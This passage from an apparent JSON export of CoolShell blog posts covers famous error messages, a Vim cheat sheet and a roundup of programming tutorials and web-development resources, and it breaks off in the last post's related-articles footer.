Death，在中国地区叫“三红”。微软在推出的游戏主机Xbox360后，众多用户曾向微软方面投诉游戏主机经常出现不同程度的故障，而且概率偏高，有调查显示，早期版本Xbox360返修率高达68% ，而最近的报告指出故障机率还是有33%。过热是游戏配件产品制造商Nyko认为Xbox360主机发生三红灯警告的主要原因，也有人指出因为Xbox 360机能不足所以长期开机超频引致过热。<a href=\"http://www.bloomberg.com/apps/news?pid=newsarchive&amp;sid=aOrvYZ2gPwZk&amp;refer=home\" target=\"_blank\">有报告指出</a>微软花费了超过11.5亿美元在回收及修理出现问题的XBOX 360。</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_5118\" style=\"width: 455px;\"><img alt=\"\" class=\"size-full wp-image-5118\" height=\"341\" src=\"../wp-content/uploads/2011/08/XBox-Red-Ring-of-Death.jpg\" title=\"XBox 360 Red Ring of Death\" width=\"455\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-5118\">XBox 360 Red Ring of Death</figcaption></figure>\n<h4 style=\"text-align: left;\">2、Web上的404错误</h4>\n<p style=\"text-align: left;\">HTTP 404或Not Found错误讯息是HTTP的其中一种“标准回应讯息”（HTTP状态码），此讯息代表客户端在浏览网页时，服务器无法打到用户要请求的资源，所以报错。404是一个你无法避免的错误，因为可能是因为用户或你的开发人员编码里打错连接。所以，很多公司借用这个机会来美化404页面，本站以前也介绍过（如：<a href=\"https://coolshell.cn/articles/2529.html\" target=\"_blank\" title=\"StackOverflow的404错误页\">StackOverflow的404</a>，<a href=\"https://coolshell.cn/articles/1826.html\" target=\"_blank\" title=\"几个有趣的404错误页面\">各式各样的404错</a>），这里还有一个404的一首诗：</p>\n<blockquote>\n<p style=\"text-align: left;\">four oh four<br/>\nby mind21_98</p>\n<p>oh what a wonderful tizzy<br/>\nwhich was in a fizzy<br/>\nhe couldn’t find the file<br/>\nwhich was hiding in the bushes</p>\n<p>push the back button oh traveller<br/>\ncontact the owner of the last tavern<br/>\nfind out how to get to where you’re going<br/>\nand be on your way</p></blockquote>\n<h4 style=\"text-align: left;\">1、Windows 蓝屏错误</h4>\n<p style=\"text-align: left;\"><a href=\"http://en.wikipedia.org/wiki/Blue_Screen_of_Death\" target=\"_blank\">Blue Screen of Death</a>，缩写为：<strong>BSoD</strong>。这是这个世界最著名的错误了，和Kernel Panic 一样，基本上就是说，内核死翘翘了。在各种场合上我们都能看到这个错误。</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_5119\" style=\"width: 535px;\"><img alt=\"\" class=\"size-full wp-image-5119\" height=\"368\" src=\"../wp-content/uploads/2011/08/bjolympics.png\" title=\"北京2008奥林匹克\" width=\"535\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-5119\">北京2008奥林匹克</figcaption></figure>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_5120\" style=\"width: 535px;\"><img alt=\"\" class=\"size-full wp-image-5120\" height=\"400\" src=\"../wp-content/uploads/2011/08/bsodairport.png\" title=\"飞机场航班显示\" width=\"535\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-5120\">飞机场航班显示</figcaption></figure>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_5121\" style=\"width: 535px;\"><img alt=\"\" class=\"size-full wp-image-5121\" height=\"359\" src=\"../wp-content/uploads/2011/08/bsodbay.png\" title=\"商场显示屏\" width=\"535\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-5121\">商场显示屏</figcaption></figure>\n<p>Bill Gates在Win98发布会上的蓝屏遭遇：</p>\n<p></p><center></center>\n<p> </p>\n<p>本来文章到这里就可以结束了，上文参考自这里<a href=\"http://technologizer.com/2008/09/18/errormessage\" target=\"_blank\">The 13 Greatest Error Message of All Time</a>。不过，我觉得还有一个错误必然会载入史册。这就是下面的“该页无法显示错误”</p>\n<h4>0、该页无法显示错误</h4>\n<p>这个错误对于中国用户不会陌生。这个错误以前更多的是Connection Reset，N年前你访问很多国外的网站者会遇到Connection Reset错，今天呢，更多的是“Time Out”，因为，关键词匹配太耗性能了，图片和视频的无法使用关键词过滤，所以，还不如直接封了IP，简单而粗暴，今天的Connection Reset更多的是出现在使用Google的搜索，当你搜某些关键词时就出这个错了。</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_5122\" style=\"width: 593px;\"><img alt=\"\" class=\"size-full wp-image-5122\" height=\"365\" src=\"../wp-content/uploads/2011/08/connection-reset.png\" title=\"该页无法显示 Connection Reset\" width=\"593\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-5122\">该页无法显示 Connection Reset</figcaption></figure>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7490.html\"><img alt=\"性能调优攻略\" height=\"150\" src=\"../wp-content/uploads/2012/06/f1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7490.html\">性能调优攻略</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4102.html\"><img alt=\"如何学好C语言\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4102.html\">如何学好C语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4077.html\"><img alt=\"纯文本配置还是注册表\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4077.html\">纯文本配置还是注册表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3013.html\"><img alt=\"一些非常有意思的杂项资源\" height=\"150\" src=\"../wp-content/uploads/2010/09/biolab-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3013.html\">一些非常有意思的杂项资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1998.html\"><img alt=\"粉丝眼中的操作系统\" height=\"150\" src=\"../wp-content/uploads/2009/12/operatingsystems-fanboys-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1998.html\">粉丝眼中的操作系统</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1579.html\"><img alt=\"一张关于操作系统的图\" height=\"150\" src=\"../wp-content/uploads/2009/10/operating-systems-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1579.html\">一张关于操作系统的图</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5107.html\">10大经典错误</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-9-16 给程序员的VIM速查卡.html",
    "content": "<html><body><p>前几天酷壳发布过“<a href=\"https://coolshell.cn/articles/5426.html\" target=\"_blank\" title=\"简明 Vim 练级攻略\">vim简明攻略</a>”，不知道大家练得怎么样了。如果你练了一下，那么这里这个速查卡就会对你有帮助了。以前本站也有过一个（<a href=\"https://coolshell.cn/articles/150.html\" target=\"_blank\" title=\"Vim命令速查卡\">vim速查卡</a>），不过其太简单了。我觉得这个很不错，很全，很直观。这个速查卡来自<strong><a href=\"http://michael.peopleofhonoronly.com/vim/\" target=\"_blank\">这里</a></strong>。其用颜色标注了级别：</p>\n<ul>\n<li><span style=\"background-color: #008000;\"><span style=\"color: #ffffff;\">  Green  </span></span> = 存活级</li>\n<li><span style=\"background-color: #ffff00;\">  Yellow  </span> = 感觉良好</li>\n<li><span style=\"background-color: #ff8000;\">  Orange  </span> / <span style=\"background-color: #0000ff;\"><span style=\"color: #ffffff;\">Blue</span></span> = 高级</li>\n<li><span style=\"background-color: #ff0000;\">  Red  </span> = 专家级</li>\n</ul>\n<p>下面的图片点击可以看大图：</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_5480\" style=\"width: 639px;\"><a href=\"https://coolshell.cn/wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print.png\"><img alt=\"给程序员的VIM速查卡\" class=\"size-large wp-image-5480\" height=\"494\" src=\"../wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-1024x791.png\" title=\"给程序员的VIM速查卡\" width=\"639\"/></a><figcaption class=\"wp-caption-text\" id=\"caption-attachment-5480\">给程序员的VIM速查卡（点击看大图）</figcaption></figure>\n<p>你还可以下载<a href=\"http://michael.peopleofhonoronly.com/vim/vim_cheat_sheet_for_programmers_print.pdf\" target=\"_blank\">PDF版</a>的和<a href=\"http://michael.peopleofhonoronly.com/vim/vim_cheat_sheet_for_programmers_print.xlsx\" target=\"_blank\">Excel版</a>的，如果你是色盲的话，还有<a href=\"http://michael.peopleofhonoronly.com/vim/vim_cheat_sheet_for_programmers_colorblind.pdf\" target=\"_blank\">蓝色版PDF</a>的。如果你不是很喜欢的话，这里还有几个：</p>\n<p><span id=\"more-5479\"></span></p>\n<ul>\n<li><a href=\"http://www.viemu.com/a_vi_vim_graphical_cheat_sheet_tutorial.html\">http://www.viemu.com/a_vi_vim_graphical_cheat_sheet_tutorial.html</a></li>\n<li><a href=\"http://tnerual.eriogerg.free.fr/vim.html\">http://tnerual.eriogerg.free.fr/vim.html</a></li>\n<li><a href=\"http://www.lagmonster.org/docs/vi.html\">http://www.lagmonster.org/docs/vi.html</a></li>\n<li><a href=\"http://jrmiii.com/2009/03/06/learning-vim-the-pragmatic-way.html\">http://jrmiii.com/2009/03/06/learning-vim-the-pragmatic-way.html</a></li>\n</ul>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11312.html\"><img alt=\"无插件Vim编程技巧\" height=\"150\" src=\"../wp-content/uploads/2014/03/success_vim-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11312.html\">无插件Vim编程技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8883.html\"><img alt=\"应该知道的Linux技巧\" height=\"150\" src=\"../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8883.html\">应该知道的Linux技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7829.html\"><img alt=\"28个Unix/Linux的命令行神器\" height=\"150\" src=\"../wp-content/uploads/2012/07/dstat_screenshot-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7829.html\">28个Unix/Linux的命令行神器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7166.html\"><img alt=\"游戏：VIM大冒险\" height=\"150\" src=\"../wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7166.html\">游戏：VIM大冒险</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5426.html\"><img alt=\"简明 Vim 练级攻略\" height=\"150\" src=\"../wp-content/uploads/2011/09/rectangular-blocks-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5426.html\">简明 Vim 练级攻略</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5479.html\">给程序员的VIM速查卡</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-9-20 一些文章和各种资源.html",
    "content": "<html><body><p>下面是近期收录的一些文章和资源，希望对你有用。</p>\n<h4>系统方面</h4>\n<ul>\n<li><strong>印度的电子商务网站flipkart的性能扩展</strong>（PPT） <a href=\"http://www.slideshare.net/sids/how-flipkart-scales-php\">http://www.slideshare.net/sids/how-flipkart-scales-php</a>，都是一些最基本的东西，对于初学者来说很不错。PPT做的也不错。</li>\n</ul>\n<ul>\n<li><strong>Tagged.com的扩展之路</strong> – 1亿用户，1000台服务器，50亿的PV <a href=\"http://highscalability.com/blog/2011/8/8/tagged-architecture-scaling-to-100-million-users-1000-server.html\">http://highscalability.com/blog/2011/8/8/tagged-architecture-scaling-to-100-million-users-1000-server.html</a> 还是PHP的WEB站点。另外，<a href=\"http://highscalability.com/\" target=\"_blank\">highscalability.com</a>这个网站上有很多和高性能有关的文章，很不错。比如最新的：<a href=\"http://highscalability.com/blog/2011/9/16/stuff-the-internet-says-on-scalability-for-september-16-2011.html\">Stuff The Internet Says On Scalability For September 16, 2011</a></li>\n</ul>\n<p><a href=\"http://highscalability.com/\" target=\"_blank\"><img alt=\"High Scalability\" class=\"aligncenter\" height=\"84\" id=\"banner\" src=\"http://highscalability.com/storage/HSBannerTrebuchet.jpg\" title=\"High Scalability\" width=\"577\"/></a></p>\n<ul>\n<li><strong>浏览器是怎么工作的</strong>？ <a href=\"http://www.html5rocks.com/en/tutorials/internals/howbrowserswork/\" target=\"_blank\">http://www.html5rocks.com/en/tutorials/internals/howbrowserswork</a>/ 相当不错的一个教程，告诉你浏览器里面是怎么搞的，很不错。如果图片看不到，可以<a href=\"http://taligarsiel.com/Projects/howbrowserswork1.htm\" target=\"_blank\">看这里</a>。如果你英文不是太好，你可以看看<a href=\"http://blog.csdn.net/zzzaquarius/article/details/6532299\" target=\"_blank\">中译版</a>，译得并不是太好。</li>\n</ul>\n<figure class=\"wp-caption aligncenter\" style=\"width: 624px;\"><img alt=\"Mozilla's Gecko rendering engine main flow\" height=\"289\" src=\"http://www.html5rocks.com/en/tutorials/internals/howbrowserswork/image008.jpg\" title=\"Mozilla's Gecko rendering engine main flow\" width=\"624\"/><figcaption class=\"wp-caption-text\">Mozilla's Gecko rendering engine main flow</figcaption></figure>\n<ul>\n<li><strong>怎么使用epoll的示例</strong> <a href=\"https://banu.com/blog/2/how-to-use-epoll-a-complete-example-in-c/\">https://banu.com/blog/2/how-to-use-epoll-a-complete-example-in-c/</a></li>\n</ul>\n<ul>\n<li><strong>Intel C/C++ 64位程序开发教程</strong> <a href=\"http://software.intel.com/en-us/articles/lessons-on-development-of-64-bit-cc-applications/\" target=\"_blank\">http://software.intel.com/en-us/articles/lessons-on-development-of-64-bit-cc-applications/</a> 本站以前也介绍过一个关于<a href=\"https://coolshell.cn/articles/3512.html\" target=\"_blank\" title=\"64位平台C/C++开发注意事项\">64位C/C++的编程注意事项</a>。</li>\n</ul>\n<div><span id=\"more-5224\"></span></div>\n<h4><span class=\"Apple-style-span\" style=\"font-weight: 800;\">各种教程</span></h4>\n<ul>\n<ul>\n<li><strong>Version Control by Example</strong>(电子书) <a href=\"http://www.ericsink.com/vcbe/\">http://www.ericsink.com/vcbe/</a></li>\n</ul>\n</ul>\n<p><img alt=\"\" class=\"aligncenter\" height=\"315\" src=\"http://www.ericsink.com/scm/1802_image001.jpg\" width=\"240\"/><strong><strong><br/>\n</strong></strong></p>\n<ul>\n<li><strong><strong>SQL注入口袋书</strong></strong>（<a href=\"https://docs.google.com/Doc?docid=0AZNlBave77hiZGNjanptbV84Z25yaHJmMjk&amp;pli=1#Allowed_Intermediary_Character_30801873723976314\" target=\"_blank\">Google Doc</a> 需翻墙）<strong>，</strong>涵盖MySQL, MSSQL和Oracle，我觉得可以用来做你的程序的安全测试。<strong><br/>\n</strong></li>\n</ul>\n<ul>\n<li><strong>如何写Vim的插件</strong>（教程）<a href=\"http://stevelosh.com/blog/2011/09/writing-vim-plugins/\" target=\"_blank\">http://stevelosh.com/blog/2011/09/writing-vim-plugins/</a> 相信你已读过“<a href=\"https://coolshell.cn/articles/5479.html\" target=\"_blank\" title=\"给程序员的VIM速查卡\">VIM简明攻略</a>” 并收藏了 “<a href=\"https://coolshell.cn/articles/5479.html\" target=\"_blank\" title=\"给程序员的VIM速查卡\">vim的速查卡</a>”，随着你的vim的能力加强，是时候搞搞vim的插件了。</li>\n</ul>\n<ul>\n<li><strong>一个超有意思的学习Javascript的在线课件了</strong>。下面的这个网页上有一个Web的命令行，你可以跟着他的提示去输入一些命令，并以此来学习Javascript，这个创意真是太好了，我觉得这应该推广到我们的学校中去，不是只听老师讲，还需要大家一起来动作。 <a href=\"http://www.codecademy.com/\" target=\"_blank\">http://www.codecademy.com/</a></li>\n</ul>\n<ul>\n<li><strong>一些各种各样的教程</strong> <a href=\"http://www.dickbaldwin.com/toc.htm\">http://www.dickbaldwin.com/toc.htm</a>  这些都是些入门的教程，仅当是练练英语了。</li>\n<ul>\n<li><a href=\"http://www.dickbaldwin.com/tocint.htm\">Introductory Java Tutorial</a></li>\n<li><a href=\"http://www.dickbaldwin.com/tocmed.htm\">Intermediate Java Tutorial </a></li>\n<li><a href=\"http://www.dickbaldwin.com/tocadv.htm\">Advanced Java Tutorial</a></li>\n<li><a href=\"http://www.dickbaldwin.com/tocknowledge.htm\">Test Your Java Knowledge</a></li>\n<li><a href=\"http://www.dickbaldwin.com/tocjscript1.htm\">JavaScript Tutorial</a></li>\n<li><a href=\"http://www.dickbaldwin.com/tocxml.htm\">XML — eXtensible Markup Language</a></li>\n<li><a href=\"http://www.dickbaldwin.com/tocpyth.htm\">Python Programming Tutorial</a></li>\n<li><a href=\"http://www.dickbaldwin.com/tocCsharp.htm\">C# Programming Tutorial</a></li>\n<li><a href=\"http://www.dickbaldwin.com/tocdsp.htm\">Digital Signal Processing</a></li>\n</ul>\n</ul>\n<ul>\n<ul>\n<li><a href=\"http://www.dickbaldwin.com/Cosc1315/Pf00100Index.htm\">Object-Oriented Programming Fundamentals using C++</a></li>\n<li><a href=\"http://www.dickbaldwin.com/Cosc1315/Pfsg00100StudyGuideIndex.htm\">Object-Oriented Programming Fundamentals using C++ (Practice Tests)</a></li>\n<li><a href=\"http://www.dickbaldwin.com/Cosc1315/Slides/Pf00100MainSlideIndex.htm\">Object-Oriented Programming Fundamentals using C++ (Slides)</a></li>\n</ul>\n</ul>\n<ul>\n<ul>\n<li><a href=\"http://www.dickbaldwin.com/AdvOOP/AdvCpp00100Index.htm\">Advanced Object-Oriented Programming using C++</a></li>\n<li><a href=\"http://www.dickbaldwin.com/AdvOOP/PracticeTests/AdvCpp00100PracticeTestIndex.htm\">Advanced Object-Oriented Programming using C++ (Practice Tests)</a></li>\n<li><a href=\"http://www.dickbaldwin.com/AdvOOP/Slides/AdvCpMainSlideIndex.htm\">Advanced Object-Oriented Programming using C++ (Slides)</a></li>\n</ul>\n</ul>\n<ul>\n<ul>\n<li><a href=\"http://www.dickbaldwin.com/allegro/Allegro00100Index.htm\">Graphics Programming with Allegro and C++</a></li>\n<li><a href=\"http://www.dickbaldwin.com/allegro/PracticeTests/Allegro00100PracticeTestIndex.htm\">Graphics Programming with Allegro and C++ (Practice Tests)</a></li>\n<li><a href=\"http://www.dickbaldwin.com/allegro/Slides/AllegMainSlideIndex.htm\">Graphics Programming with Allegro and C++ (Slides)</a></li>\n</ul>\n</ul>\n<ul>\n<ul>\n<li><a href=\"http://www.austincc.edu/baldwin/Itnw1351Wireless/LabProjects/FwlProjIndex.htm\">Wireless Networking Lab Projects</a></li>\n<li><a href=\"http://www.dickbaldwin.com/tocalice.htm\">Learn to Program using Alice</a></li>\n<li><a href=\"http://www.dickbaldwin.com/tocHomeSchool.htm\">Computer Programming for Homeschool Students and Other Beginners</a></li>\n<li><a href=\"http://www.dickbaldwin.com/tocFlex.htm\">Programming with Adobe Flex</a></li>\n<li><a href=\"http://www.dickbaldwin.com/tocActionScript.htm\">Object-Oriented Programming (OOP) with ActionScript </a></li>\n<li><a href=\"http://www.dickbaldwin.com/tocXNA.htm\">Programming with XNA Game Studio </a></li>\n</ul>\n</ul>\n<h4><strong>Web库</strong></h4>\n<ul>\n<li><strong>20 个 jQuery提示插件</strong>：<a href=\"http://zoomzum.com/jquery-tooltip-plugins/\">http://zoomzum.com/jquery-tooltip-plugins/</a></li>\n</ul>\n<ul>\n<li><strong>最近出的一个新的可以做Web幻灯片的Javscript</strong> <a href=\"http://imakewebthings.github.com/deck.js/#intro\">http://imakewebthings.github.com/deck.js/#intro</a> 当然，Web上做幻灯片的库太多了，大家可以看看wikipedia上的一个收集： <a href=\"http://en.wikipedia.org/wiki/Web-based_slideshow\">http://en.wikipedia.org/wiki/Web-based_slideshow</a></li>\n</ul>\n<ul>\n<li><strong><a href=\"http://code.google.com/p/google-api-php-client/\">Google APIs Client Library for PHP</a> – </strong>用PHP封装的各种Google API<br/>\n<img alt=\"\" height=\"62\" src=\"../wp-content/uploads/2011/09/Google-APIs-Client-Library-for-PHP.png\" title=\"Google APIs Client Library for PHP\" width=\"447\"/></li>\n<ul>\n<li>Buzz API – <a href=\"https://code.google.com/p/google-api-php-client/source/browse/#svn%2Ftrunk%2Fexamples%2Fbuzz\">Sample</a></li>\n<li>Books API – <a href=\"https://code.google.com/p/google-api-php-client/source/browse/trunk/examples/books/index.php\">Sample</a></li>\n<li>Latitude API – <a href=\"https://code.google.com/p/google-api-php-client/source/browse/trunk/examples/latitude/index.php\">Sample</a></li>\n<li>Page Speed Online API – <a href=\"https://code.google.com/p/google-api-php-client/source/browse/trunk/examples/pagespeed/index.php\">Sample</a></li>\n<li>Tasks API – <a href=\"https://code.google.com/p/google-api-php-client/source/browse/trunk/examples/tasks/index.php\">Sample</a></li>\n<li>URL Shortener API – <a href=\"https://code.google.com/p/google-api-php-client/source/browse/trunk/examples/urlshortener/index.php\">Sample</a></li>\n</ul>\n</ul>\n<ul>\n<li><strong>Django Google Chart</strong> <a href=\"http://publishedin.com/django-google-charts/\" target=\"_blank\">http://publishedin.com/django-google-charts/</a>  为Django封闭的Google 统计图API。</li>\n</ul>\n<p><img alt=\"django-google-charts\" class=\"aligncenter\" src=\"https://s3.amazonaws.com/files_desu/django-google-charts-basic.png\"/></p>\n<ul>\n<li><strong>一个新的HTML5+CSS3的JS库Kendo UI</strong>：<a href=\"http://demos.kendoui.com/\" target=\"_blank\">http://demos.kendoui.com/</a> 这样的JS库有很多，如比较经典的ExtJS, YUI 和 jQuery。不过大家可以试试这个库。其支持移动设备。</li>\n</ul>\n<p><a href=\"http://www.kendoui.com/aeroviewr/\" id=\"launch-image\"><img alt=\"AeroViewr\" class=\"aligncenter\" src=\"http://demos.kendoui.com/styles/aeroviewr.png\"/></a></p>\n<h4><strong>HTML 5<br/>\n</strong></h4>\n<ul>\n<li><strong>HTML5 Canvas 的开发指导</strong>：<a href=\"http://www.sitepoint.com/a-developer%E2%80%99s-guide-to-html5-canvas/\" target=\"_blank\">http://www.sitepoint.com/a-developer%E2%80%99s-guide-to-html5-canvas/</a></li>\n</ul>\n<ul>\n<li><strong>HTML5+ Javascript的游戏开发教程</strong>：<a href=\"http://gamedev.slashgame.net/2011/08/html5-game-development-tutorial.html\" target=\"_blank\">http://gamedev.slashgame.net/2011/08/html5-game-development-tutorial.html</a></li>\n</ul>\n<ul>\n<li><strong>HTML 5速查卡</strong>（PDF） <a href=\"http://www.thecssninja.com/talks/dnd_and_friends/assets/html5-cheat-sheet.pdf\">http://www.thecssninja.com/talks/dnd_and_friends/assets/html5-cheat-sheet.pdf</a></li>\n</ul>\n<ul>\n<li><strong>70 个 HTML5 的精彩示例</strong> <a href=\"http://www.instantshift.com/2011/07/05/70-inspirational-examples-of-websites-designed-with-html5/\">http://www.instantshift.com/2011/07/05/70-inspirational-examples-of-websites-designed-with-html5/</a></li>\n</ul>\n<h4> 编程规范</h4>\n<ul>\n<li><strong>The Art of Assembly Language Programming 汇编语言艺术</strong> <a href=\"http://www.arl.wustl.edu/~lockwood/class/cs306/books/artofasm/toc.html\">http://www.arl.wustl.edu/~lockwood/class/cs306/books/artofasm/toc.html</a></li>\n</ul>\n<ul>\n<li><strong>编程规范 if语句的简单规则</strong>：<a href=\"http://united-coders.com/christian-harms/basic-rules-for-code-readability-and-the-if-statement\">http://united-coders.com/christian-harms/basic-rules-for-code-readability-and-the-if-statement</a></li>\n</ul>\n<ul>\n<li><strong>Linux 内核C编程规范：</strong><a href=\"http://www.kernel.org/doc/Documentation/CodingStyle\" target=\"_blank\">http://www.kernel.org/doc/Documentation/CodingStyle</a></li>\n</ul>\n<ul>\n<li><strong>Google的C++编程规范：</strong><a href=\"http://google-styleguide.googlecode.com/svn/trunk/cppguide.xml\">http://google-styleguide.googlecode.com/svn/trunk/cppguide.xml</a></li>\n</ul>\n<ul>\n<li><strong>GNU的编程规范：</strong><a href=\"http://www.gnu.org/prep/standards/standards.html\">http://www.gnu.org/prep/standards/standards.html</a></li>\n</ul>\n<ul>\n<li>最后，强烈推荐你读一下Nokia的Qt的《<a href=\"http://developer.qt.nokia.com/wiki/API_Design_Principles\" target=\"_blank\">API Design Principles</a>》，其中的一条规则写成了本站的《<a href=\"https://coolshell.cn/articles/5444.html\" target=\"_blank\" title=\"千万不要把 bool 设计成函数参数\">千万不要用bool做函数参数</a>》</li>\n</ul>\n<h4><strong>其它</strong></h4>\n<ul>\n<li><strong>在OS X上使用gcc而不是xcode编译C++程序</strong> <a href=\"https://github.com/kennethreitz/osx-gcc-installer\">https://github.com/kennethreitz/osx-gcc-installer</a></li>\n</ul>\n<ul>\n<li><strong>声讨PHP的一个slids</strong> <a href=\"http://zakx.de/phprant-en.pdf\">http://zakx.de/phprant-en.pdf</a>， 前面说到的两个网站都是使用PHP做到，不过，你可以通过这个PDF了解一下PHP有哪些地方不好。</li>\n</ul>\n<ul>\n<li><strong>Infinite超级玛丽</strong>：(你可以比较一下，哪个版本不错)</li>\n<ul>\n<li>HTML5 版： <a href=\"http://mario.fromlifetodeath.com/\" rel=\"nofollow\">http://mario.fromlifetodeath.com/</a> (<a href=\"https://github.com/robertkleffner/mariohtml5\" target=\"_blank\">源码</a>)</li>\n<li>Java版：<a href=\"http://www.mojang.com/notch/mario/\">http://www.mojang.com/notch/mario/</a></li>\n<li>Flash版：<a href=\"http://www.supermariobrothers.org/infinite-mario.html\">http://www.supermariobrothers.org/infinite-mario.html</a></li>\n</ul>\n</ul>\n<p><em><strong>—— 更新 2011.9.20  21:00 ——</strong></em></p>\n<p>@<a href=\"https://coolshell.cn/articles/5224.html/comment-page-1#comment-82966\">xzhaoyang</a> 在留言中问我有没有C写CGI的文章，我看过最好的一篇是下面这篇：</p>\n<p><a href=\"http://www.tutorialspoint.com/cplusplus/cpp_web_programming.htm\" target=\"_blank\">http://www.tutorialspoint.com/cplusplus/cpp_web_programming.htm</a> （注意翻墙）</p>\n<div>（全文完）</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4795.html\"><img alt=\"开源中最好的Web开发的资源\" height=\"150\" 